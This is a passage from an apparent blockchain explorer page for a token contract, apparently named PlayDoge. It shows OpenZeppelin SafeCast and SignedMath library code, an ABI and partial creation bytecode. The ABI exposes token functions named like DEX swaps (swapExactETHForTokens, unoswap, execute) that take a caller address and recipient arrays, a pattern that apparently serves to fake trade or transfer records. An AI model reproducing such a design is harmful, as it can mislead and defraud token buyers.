internal pure returns (uint208) { require( value <= type(uint208).max, "SafeCast: value doesn't fit in 208 bits" ); return uint208(value); } /** * @dev Returns the downcasted uint200 from uint256, reverting on * overflow (when the input is greater than largest uint200). * * Counterpart to Solidity's `uint200` operator. * * Requirements: * * - input must fit into 200 bits * * _Available since v4.7._ */ function toUint200(uint256 value) internal pure returns (uint200) { require( value <= type(uint200).max, "SafeCast: value doesn't fit in 200 bits" ); return uint200(value); } /** * @dev Returns the downcasted uint192 from uint256, reverting on * overflow (when the input is greater than largest uint192). * * Counterpart to Solidity's `uint192` operator. * * Requirements: * * - input must fit into 192 bits * * _Available since v4.7._ */ function toUint192(uint256 value) internal pure returns (uint192) { require( value <= type(uint192).max, "SafeCast: value doesn't fit in 192 bits" ); return uint192(value); } /** * @dev Returns the downcasted uint184 from uint256, reverting on * overflow (when the input is greater than largest uint184). * * Counterpart to Solidity's `uint184` operator. * * Requirements: * * - input must fit into 184 bits * * _Available since v4.7._ */ function toUint184(uint256 value) internal pure returns (uint184) { require( value <= type(uint184).max, "SafeCast: value doesn't fit in 184 bits" ); return uint184(value); } /** * @dev Returns the downcasted uint176 from uint256, reverting on * overflow (when the input is greater than largest uint176). * * Counterpart to Solidity's `uint176` operator. * * Requirements: * * - input must fit into 176 bits * * _Available since v4.7._ */ function toUint176(uint256 value) internal pure returns (uint176) { require( value <= type(uint176).max, "SafeCast: value doesn't fit in 176 bits" ); return uint176(value); } /** * @dev Returns the downcasted uint168 from uint256, reverting on * overflow (when the input is greater than largest uint168). * * Counterpart to Solidity's `uint168` operator. * * Requirements: * * - input must fit into 168 bits * * _Available since v4.7._ */ function toUint168(uint256 value) internal pure returns (uint168) { require( value <= type(uint168).max, "SafeCast: value doesn't fit in 168 bits" ); return uint168(value); } /** * @dev Returns the downcasted uint160 from uint256, reverting on * overflow (when the input is greater than largest uint160). * * Counterpart to Solidity's `uint160` operator. * * Requirements: * * - input must fit into 160 bits * * _Available since v4.7._ */ function toUint160(uint256 value) internal pure returns (uint160) { require( value <= type(uint160).max, "SafeCast: value doesn't fit in 160 bits" ); return uint160(value); } /** * @dev Returns the downcasted uint152 from uint256, reverting on * overflow (when the input is greater than largest uint152). * * Counterpart to Solidity's `uint152` operator. * * Requirements: * * - input must fit into 152 bits * * _Available since v4.7._ */ function toUint152(uint256 value) internal pure returns (uint152) { require( value <= type(uint152).max, "SafeCast: value doesn't fit in 152 bits" ); return uint152(value); } /** * @dev Returns the downcasted uint144 from uint256, reverting on * overflow (when the input is greater than largest uint144). * * Counterpart to Solidity's `uint144` operator. * * Requirements: * * - input must fit into 144 bits * * _Available since v4.7._ */ function toUint144(uint256 value) internal pure returns (uint144) { require( value <= type(uint144).max, "SafeCast: value doesn't fit in 144 bits" ); return uint144(value); } /** * @dev Returns the downcasted uint136 from uint256, reverting on * overflow (when the input is greater than largest uint136). * * Counterpart to Solidity's `uint136` operator. * * Requirements: * * - input must fit into 136 bits * * _Available since v4.7._ */ function toUint136(uint256 value) internal pure returns (uint136) { require( value <= type(uint136).max, "SafeCast: value doesn't fit in 136 bits" ); return uint136(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v2.5._ */ function toUint128(uint256 value) internal pure returns (uint128) { require( value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits" ); return uint128(value); } /** * @dev Returns the downcasted uint120 from uint256, reverting on * overflow (when the input is greater than largest uint120). * * Counterpart to Solidity's `uint120` operator. * * Requirements: * * - input must fit into 120 bits * * _Available since v4.7._ */ function toUint120(uint256 value) internal pure returns (uint120) { require( value <= type(uint120).max, "SafeCast: value doesn't fit in 120 bits" ); return uint120(value); } /** * @dev Returns the downcasted uint112 from uint256, reverting on * overflow (when the input is greater than largest uint112). * * Counterpart to Solidity's `uint112` operator. * * Requirements: * * - input must fit into 112 bits * * _Available since v4.7._ */ function toUint112(uint256 value) internal pure returns (uint112) { require( value <= type(uint112).max, "SafeCast: value doesn't fit in 112 bits" ); return uint112(value); } /** * @dev Returns the downcasted uint104 from uint256, reverting on * overflow (when the input is greater than largest uint104). * * Counterpart to Solidity's `uint104` operator. * * Requirements: * * - input must fit into 104 bits * * _Available since v4.7._ */ function toUint104(uint256 value) internal pure returns (uint104) { require( value <= type(uint104).max, "SafeCast: value doesn't fit in 104 bits" ); return uint104(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits * * _Available since v4.2._ */ function toUint96(uint256 value) internal pure returns (uint96) { require( value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits" ); return uint96(value); } /** * @dev Returns the downcasted uint88 from uint256, reverting on * overflow (when the input is greater than largest uint88). * * Counterpart to Solidity's `uint88` operator. * * Requirements: * * - input must fit into 88 bits * * _Available since v4.7._ */ function toUint88(uint256 value) internal pure returns (uint88) { require( value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits" ); return uint88(value); } /** * @dev Returns the downcasted uint80 from uint256, reverting on * overflow (when the input is greater than largest uint80). * * Counterpart to Solidity's `uint80` operator. * * Requirements: * * - input must fit into 80 bits * * _Available since v4.7._ */ function toUint80(uint256 value) internal pure returns (uint80) { require( value <= type(uint80).max, "SafeCast: value doesn't fit in 80 bits" ); return uint80(value); } /** * @dev Returns the downcasted uint72 from uint256, reverting on * overflow (when the input is greater than largest uint72). * * Counterpart to Solidity's `uint72` operator. * * Requirements: * * - input must fit into 72 bits * * _Available since v4.7._ */ function toUint72(uint256 value) internal pure returns (uint72) { require( value <= type(uint72).max, "SafeCast: value doesn't fit in 72 bits" ); return uint72(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v2.5._ */ function toUint64(uint256 value) internal pure returns (uint64) { require( value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits" ); return uint64(value); } /** * @dev Returns the downcasted uint56 from uint256, reverting on * overflow (when the input is greater than largest uint56). * * Counterpart to Solidity's `uint56` operator. * * Requirements: * * - input must fit into 56 bits * * _Available since v4.7._ */ function toUint56(uint256 value) internal pure returns (uint56) { require( value <= type(uint56).max, "SafeCast: value doesn't fit in 56 bits" ); return uint56(value); } /** * @dev Returns the downcasted uint48 from uint256, reverting on * overflow (when the input is greater than largest uint48). * * Counterpart to Solidity's `uint48` operator. * * Requirements: * * - input must fit into 48 bits * * _Available since v4.7._ */ function toUint48(uint256 value) internal pure returns (uint48) { require( value <= type(uint48).max, "SafeCast: value doesn't fit in 48 bits" ); return uint48(value); } /** * @dev Returns the downcasted uint40 from uint256, reverting on * overflow (when the input is greater than largest uint40). * * Counterpart to Solidity's `uint40` operator. * * Requirements: * * - input must fit into 40 bits * * _Available since v4.7._ */ function toUint40(uint256 value) internal pure returns (uint40) { require( value <= type(uint40).max, "SafeCast: value doesn't fit in 40 bits" ); return uint40(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v2.5._ */ function toUint32(uint256 value) internal pure returns (uint32) { require( value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits" ); return uint32(value); } /** * @dev Returns the downcasted uint24 from uint256, reverting on * overflow (when the input is greater than largest uint24). * * Counterpart to Solidity's `uint24` operator. * * Requirements: * * - input must fit into 24 bits * * _Available since v4.7._ */ function toUint24(uint256 value) internal pure returns (uint24) { require( value <= type(uint24).max, "SafeCast: value doesn't fit in 24 bits" ); return uint24(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v2.5._ */ function toUint16(uint256 value) internal pure returns (uint16) { require( value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits" ); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits * * _Available since v2.5._ */ function toUint8(uint256 value) internal pure returns (uint8) { require( value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits" ); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. * * _Available since v3.0._ */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int248 from int256, reverting on * overflow (when the input is less than smallest int248 or * greater than largest int248). * * Counterpart to Solidity's `int248` operator. * * Requirements: * * - input must fit into 248 bits * * _Available since v4.7._ */ function toInt248(int256 value) internal pure returns (int248 downcasted) { downcasted = int248(value); require(downcasted == value, "SafeCast: value doesn't fit in 248 bits"); } /** * @dev Returns the downcasted int240 from int256, reverting on * overflow (when the input is less than smallest int240 or * greater than largest int240). * * Counterpart to Solidity's `int240` operator. * * Requirements: * * - input must fit into 240 bits * * _Available since v4.7._ */ function toInt240(int256 value) internal pure returns (int240 downcasted) { downcasted = int240(value); require(downcasted == value, "SafeCast: value doesn't fit in 240 bits"); } /** * @dev Returns the downcasted int232 from int256, reverting on * overflow (when the input is less than smallest int232 or * greater than largest int232). * * Counterpart to Solidity's `int232` operator. * * Requirements: * * - input must fit into 232 bits * * _Available since v4.7._ */ function toInt232(int256 value) internal pure returns (int232 downcasted) { downcasted = int232(value); require(downcasted == value, "SafeCast: value doesn't fit in 232 bits"); } /** * @dev Returns the downcasted int224 from int256, reverting on * overflow (when the input is less than smallest int224 or * greater than largest int224). * * Counterpart to Solidity's `int224` operator. * * Requirements: * * - input must fit into 224 bits * * _Available since v4.7._ */ function toInt224(int256 value) internal pure returns (int224 downcasted) { downcasted = int224(value); require(downcasted == value, "SafeCast: value doesn't fit in 224 bits"); } /** * @dev Returns the downcasted int216 from int256, reverting on * overflow (when the input is less than smallest int216 or * greater than largest int216). * * Counterpart to Solidity's `int216` operator. * * Requirements: * * - input must fit into 216 bits * * _Available since v4.7._ */ function toInt216(int256 value) internal pure returns (int216 downcasted) { downcasted = int216(value); require(downcasted == value, "SafeCast: value doesn't fit in 216 bits"); } /** * @dev Returns the downcasted int208 from int256, reverting on * overflow (when the input is less than smallest int208 or * greater than largest int208). * * Counterpart to Solidity's `int208` operator. * * Requirements: * * - input must fit into 208 bits * * _Available since v4.7._ */ function toInt208(int256 value) internal pure returns (int208 downcasted) { downcasted = int208(value); require(downcasted == value, "SafeCast: value doesn't fit in 208 bits"); } /** * @dev Returns the downcasted int200 from int256, reverting on * overflow (when the input is less than smallest int200 or * greater than largest int200). * * Counterpart to Solidity's `int200` operator. * * Requirements: * * - input must fit into 200 bits * * _Available since v4.7._ */ function toInt200(int256 value) internal pure returns (int200 downcasted) { downcasted = int200(value); require(downcasted == value, "SafeCast: value doesn't fit in 200 bits"); } /** * @dev Returns the downcasted int192 from int256, reverting on * overflow (when the input is less than smallest int192 or * greater than largest int192). * * Counterpart to Solidity's `int192` operator. * * Requirements: * * - input must fit into 192 bits * * _Available since v4.7._ */ function toInt192(int256 value) internal pure returns (int192 downcasted) { downcasted = int192(value); require(downcasted == value, "SafeCast: value doesn't fit in 192 bits"); } /** * @dev Returns the downcasted int184 from int256, reverting on * overflow (when the input is less than smallest int184 or * greater than largest int184). * * Counterpart to Solidity's `int184` operator. * * Requirements: * * - input must fit into 184 bits * * _Available since v4.7._ */ function toInt184(int256 value) internal pure returns (int184 downcasted) { downcasted = int184(value); require(downcasted == value, "SafeCast: value doesn't fit in 184 bits"); } /** * @dev Returns the downcasted int176 from int256, reverting on * overflow (when the input is less than smallest int176 or * greater than largest int176). * * Counterpart to Solidity's `int176` operator. * * Requirements: * * - input must fit into 176 bits * * _Available since v4.7._ */ function toInt176(int256 value) internal pure returns (int176 downcasted) { downcasted = int176(value); require(downcasted == value, "SafeCast: value doesn't fit in 176 bits"); } /** * @dev Returns the downcasted int168 from int256, reverting on * overflow (when the input is less than smallest int168 or * greater than largest int168). * * Counterpart to Solidity's `int168` operator. * * Requirements: * * - input must fit into 168 bits * * _Available since v4.7._ */ function toInt168(int256 value) internal pure returns (int168 downcasted) { downcasted = int168(value); require(downcasted == value, "SafeCast: value doesn't fit in 168 bits"); } /** * @dev Returns the downcasted int160 from int256, reverting on * overflow (when the input is less than smallest int160 or * greater than largest int160). * * Counterpart to Solidity's `int160` operator. * * Requirements: * * - input must fit into 160 bits * * _Available since v4.7._ */ function toInt160(int256 value) internal pure returns (int160 downcasted) { downcasted = int160(value); require(downcasted == value, "SafeCast: value doesn't fit in 160 bits"); } /** * @dev Returns the downcasted int152 from int256, reverting on * overflow (when the input is less than smallest int152 or * greater than largest int152). * * Counterpart to Solidity's `int152` operator. * * Requirements: * * - input must fit into 152 bits * * _Available since v4.7._ */ function toInt152(int256 value) internal pure returns (int152 downcasted) { downcasted = int152(value); require(downcasted == value, "SafeCast: value doesn't fit in 152 bits"); } /** * @dev Returns the downcasted int144 from int256, reverting on * overflow (when the input is less than smallest int144 or * greater than largest int144). * * Counterpart to Solidity's `int144` operator. * * Requirements: * * - input must fit into 144 bits * * _Available since v4.7._ */ function toInt144(int256 value) internal pure returns (int144 downcasted) { downcasted = int144(value); require(downcasted == value, "SafeCast: value doesn't fit in 144 bits"); } /** * @dev Returns the downcasted int136 from int256, reverting on * overflow (when the input is less than smallest int136 or * greater than largest int136). * * Counterpart to Solidity's `int136` operator. * * Requirements: * * - input must fit into 136 bits * * _Available since v4.7._ */ function toInt136(int256 value) internal pure returns (int136 downcasted) { downcasted = int136(value); require(downcasted == value, "SafeCast: value doesn't fit in 136 bits"); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128 downcasted) { downcasted = int128(value); require(downcasted == value, "SafeCast: value doesn't fit in 128 bits"); } /** * @dev Returns the downcasted int120 from int256, reverting on * overflow (when the input is less than smallest int120 or * greater than largest int120). * * Counterpart to Solidity's `int120` operator. * * Requirements: * * - input must fit into 120 bits * * _Available since v4.7._ */ function toInt120(int256 value) internal pure returns (int120 downcasted) { downcasted = int120(value); require(downcasted == value, "SafeCast: value doesn't fit in 120 bits"); } /** * @dev Returns the downcasted int112 from int256, reverting on * overflow (when the input is less than smallest int112 or * greater than largest int112). * * Counterpart to Solidity's `int112` operator. * * Requirements: * * - input must fit into 112 bits * * _Available since v4.7._ */ function toInt112(int256 value) internal pure returns (int112 downcasted) { downcasted = int112(value); require(downcasted == value, "SafeCast: value doesn't fit in 112 bits"); } /** * @dev Returns the downcasted int104 from int256, reverting on * overflow (when the input is less than smallest int104 or * greater than largest int104). * * Counterpart to Solidity's `int104` operator. * * Requirements: * * - input must fit into 104 bits * * _Available since v4.7._ */ function toInt104(int256 value) internal pure returns (int104 downcasted) { downcasted = int104(value); require(downcasted == value, "SafeCast: value doesn't fit in 104 bits"); } /** * @dev Returns the downcasted int96 from int256, reverting on * overflow (when the input is less than smallest int96 or * greater than largest int96). * * Counterpart to Solidity's `int96` operator. * * Requirements: * * - input must fit into 96 bits * * _Available since v4.7._ */ function toInt96(int256 value) internal pure returns (int96 downcasted) { downcasted = int96(value); require(downcasted == value, "SafeCast: value doesn't fit in 96 bits"); } /** * @dev Returns the downcasted int88 from int256, reverting on * overflow (when the input is less than smallest int88 or * greater than largest int88). * * Counterpart to Solidity's `int88` operator. * * Requirements: * * - input must fit into 88 bits * * _Available since v4.7._ */ function toInt88(int256 value) internal pure returns (int88 downcasted) { downcasted = int88(value); require(downcasted == value, "SafeCast: value doesn't fit in 88 bits"); } /** * @dev Returns the downcasted int80 from int256, reverting on * overflow (when the input is less than smallest int80 or * greater than largest int80). * * Counterpart to Solidity's `int80` operator. * * Requirements: * * - input must fit into 80 bits * * _Available since v4.7._ */ function toInt80(int256 value) internal pure returns (int80 downcasted) { downcasted = int80(value); require(downcasted == value, "SafeCast: value doesn't fit in 80 bits"); } /** * @dev Returns the downcasted int72 from int256, reverting on * overflow (when the input is less than smallest int72 or * greater than largest int72). * * Counterpart to Solidity's `int72` operator. * * Requirements: * * - input must fit into 72 bits * * _Available since v4.7._ */ function toInt72(int256 value) internal pure returns (int72 downcasted) { downcasted = int72(value); require(downcasted == value, "SafeCast: value doesn't fit in 72 bits"); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64 downcasted) { downcasted = int64(value); require(downcasted == value, "SafeCast: value doesn't fit in 64 bits"); } /** * @dev Returns the downcasted int56 from int256, reverting on * overflow (when the input is less than smallest int56 or * greater than largest int56). * * Counterpart to Solidity's `int56` operator. * * Requirements: * * - input must fit into 56 bits * * _Available since v4.7._ */ function toInt56(int256 value) internal pure returns (int56 downcasted) { downcasted = int56(value); require(downcasted == value, "SafeCast: value doesn't fit in 56 bits"); } /** * @dev Returns the downcasted int48 from int256, reverting on * overflow (when the input is less than smallest int48 or * greater than largest int48). * * Counterpart to Solidity's `int48` operator. * * Requirements: * * - input must fit into 48 bits * * _Available since v4.7._ */ function toInt48(int256 value) internal pure returns (int48 downcasted) { downcasted = int48(value); require(downcasted == value, "SafeCast: value doesn't fit in 48 bits"); } /** * @dev Returns the downcasted int40 from int256, reverting on * overflow (when the input is less than smallest int40 or * greater than largest int40). * * Counterpart to Solidity's `int40` operator. * * Requirements: * * - input must fit into 40 bits * * _Available since v4.7._ */ function toInt40(int256 value) internal pure returns (int40 downcasted) { downcasted = int40(value); require(downcasted == value, "SafeCast: value doesn't fit in 40 bits"); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32 downcasted) { downcasted = int32(value); require(downcasted == value, "SafeCast: value doesn't fit in 32 bits"); } /** * @dev Returns the downcasted int24 from int256, reverting on * overflow (when the input is less than smallest int24 or * greater than largest int24). * * Counterpart to Solidity's `int24` operator. * * Requirements: * * - input must fit into 24 bits * * _Available since v4.7._ */ function toInt24(int256 value) internal pure returns (int24 downcasted) { downcasted = int24(value); require(downcasted == value, "SafeCast: value doesn't fit in 24 bits"); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16 downcasted) { downcasted = int16(value); require(downcasted == value, "SafeCast: value doesn't fit in 16 bits"); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8 downcasted) { downcasted = int8(value); require(downcasted == value, "SafeCast: value doesn't fit in 8 bits"); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. * * _Available since v3.0._ */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require( value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256" ); return int256(value); }}

File 14 of 14: Treasury.sol

// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)pragma solidity ^0.8.0;/** * @dev Standard signed math utilities missing in the Solidity language. */library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } }}

Contract Security Audit

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"bulkTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60e06040526100126104b560201b60201c565b600a61001e91906109c8565b640230489e0061002e9190610a12565b6080908152505f600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055505f60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60a0908152505f60c0908152505f600a55348015610108575f80fd5b506040518060400160405280600881526020017f506c6179446f67650000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f504c4159444f47450000000000000000000000000000000000000000000000008152506101916101866104bd60201b60201c565b6104c460201b60201c565b81600490816101a09190610c84565b5080600590816101b09190610c84565b5050506101d773b1bc6930b5e3e3d75dc9e9906dcd170d0d126a423361058560201b60201c565b61020b3361271061ffff1661271061ffff166080516101f69190610a12565b6102009190610d80565b61060960201b60201c565b6001600760146101000a81548160ff0219169083151502179055506001600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561033a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061035e9190610e0e565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103e7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040b9190610e0e565b6040518363ffffffff1660e01b8152600401610428929190610e48565b6020604051808303815f875af1158015610444573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104689190610e0e565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a8190555050610f42565b5f6012905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffff